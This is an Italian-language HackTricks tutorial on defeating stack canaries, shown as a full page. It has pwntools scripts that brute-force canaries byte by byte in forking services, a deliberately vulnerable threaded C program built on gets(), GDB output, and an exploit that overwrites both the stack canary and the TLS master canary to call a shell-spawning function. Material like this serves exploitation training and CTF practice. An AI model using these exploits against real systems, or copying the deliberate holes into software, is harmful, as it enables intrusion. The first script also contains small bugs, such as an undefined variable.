hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md

9.6 KiB

BF Forked & Threaded Stack Canaries

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Se ti trovi di fronte a un binario protetto da un canary e PIE (Position Independent Executable) probabilmente devi trovare un modo per bypassarli.

{% hint style="info" %} Nota che checksec potrebbe non rilevare che un binario è protetto da un canary se questo è stato compilato staticamente e non è in grado di identificare la funzione.
Tuttavia, puoi notarlo manualmente se trovi che un valore è salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire. {% endhint %}

Brute force Canary

Il modo migliore per bypassare un semplice canary è se il binario è un programma che fork i processi figli ogni volta che stabilisci una nuova connessione con esso (servizio di rete), perché ogni volta che ti connetti ad esso lo stesso canary verrà utilizzato.

Quindi, il modo migliore per bypassare il canary è semplicemente forzarlo a brutto carattere per carattere, e puoi capire se il byte del canary indovinato era corretto controllando se il programma è andato in crash o continua il suo flusso regolare. In questo esempio la funzione forza a brutto un canary di 8 byte (x64) e distingue tra un byte indovinato corretto e un byte errato semplicemente controllando se una risposta viene inviata dal server (un altro modo in altra situazione potrebbe essere utilizzare un try/except):

Esempio 1

Questo esempio è implementato per 64 bit ma potrebbe essere facilmente implementato per 32 bit.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Esempio 2

Questo è implementato per 32 bit, ma potrebbe essere facilmente cambiato a 64 bit.
Nota anche che per questo esempio il programma si aspettava prima un byte per indicare la dimensione dell'input e il payload.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Thread

I thread dello stesso processo condivideranno anche lo stesso token canary, quindi sarà possibile forzare un canary se il binario genera un nuovo thread ogni volta che si verifica un attacco.

Un buffer overflow in una funzione multithread protetta con canary può essere utilizzato per modificare il canary master del processo. Di conseguenza, la mitigazione è inutile perché il controllo viene eseguito con due canary che sono gli stessi (anche se modificati).

Esempio

Il seguente programma è vulnerabile a Buffer Overflow, ma è compilato con canary:

#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

// gcc thread_canary.c -no-pie -l pthread -o thread_canary

void win() {
execve("/bin/sh", NULL, NULL);
}

void* vuln() {
char data[0x20];
gets(data);
}

int main() {
pthread_t thread;

pthread_create(&thread, NULL, vuln, NULL);
pthread_join(thread, NULL);

return 0;
}

Nota che vuln viene chiamato all'interno di un thread. In GDB possiamo dare un'occhiata a vuln, specificamente, al punto in cui il programma chiama gets per leggere i dati di input:

gef> break gets
Breakpoint 1 at 0x4010a0
gef> run
...
gef> x/10gx $rdi
0x7ffff7d7ee20: 0x0000000000000000      0x0000000000000000
0x7ffff7d7ee30: 0x0000000000000000      0x0000000000000000
0x7ffff7d7ee40: 0x0000000000000000      0x493fdc653a156800
0x7ffff7d7ee50: 0x0000000000000000      0x00007ffff7e17ac3
0x7ffff7d7ee60: 0x0000000000000000      0x00007ffff7d7f640

L'indirizzo sopra rappresenta l'indirizzo di data, dove il programma scriverà l'input dell'utente. Lo stack canary si trova a 0x7ffff7d7ee48 (0x493fdc653a156800), e l'indirizzo di ritorno è a 0x7ffff7d7ee50 (0x00007ffff7e17ac3):

gef> telescope $rdi 8 -n
0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000  <-  $rdi
0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000
0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000
0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000
0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000
0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800  <-  canary
0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000  <-  $rbp
0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 <start_thread+0x2f3>  ->  0xe8ff31fffffe6fe9  <-  retaddr[2]

Nota che gli indirizzi dello stack non appartengono allo stack reale:

gef> vmmap stack
[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start              End                Size               Offset             Perm Path
0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <tls-th1><stack-th2>  <-  $rbx, $rsp, $rbp, $rsi, $rdi, $r12
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack]  <-  $r9, $r15

Lo stack del thread è posizionato sopra il Thread Local Storage (TLS), dove è memorizzato il canary master:

gef> tls
$tls = 0x7ffff7d7f640
...
---------------------------------------------------------------------------- TLS ----------------------------------------------------------------------------
0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640  ->  [loop detected]  <-  $rbx, $r12
0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0  ->  0x0000000000000001
0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640  ->  [loop detected]
0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001
0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000
0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800  <-  canary
0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4  <-  PTR_MANGLE cookie
0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000
...

{% hint style="info" %} Alcune delle funzioni GDB sopra menzionate sono definite in un'estensione chiamata bata24/gef, che ha più funzionalità rispetto al solito hugsy/gef. {% endhint %}

Di conseguenza, un grande Buffer Overflow può consentire di modificare sia lo stack canary che il master canary nel TLS. Questo è l'offset:

gef> p/x 0x7ffff7d7f668 - $rdi
$1 = 0x848

Questo è un breve exploit per chiamare win:

from pwn import *

context.binary = 'thread_canary'

payload  = b'A' * 0x28                    # buffer overflow offset
payload += b'BBBBBBBB'                    # overwritting stack canary
payload += b'A' * 8                       # saved $rbp
payload += p64(context.binary.sym.win)    # return address
payload += b'A' * (0x848 - len(payload))  # padding
payload += b'BBBBBBBB'                    # overwritting master canary

io = context.binary.process()
io.sendline(payload)
io.interactive()

Altri esempi e riferimenti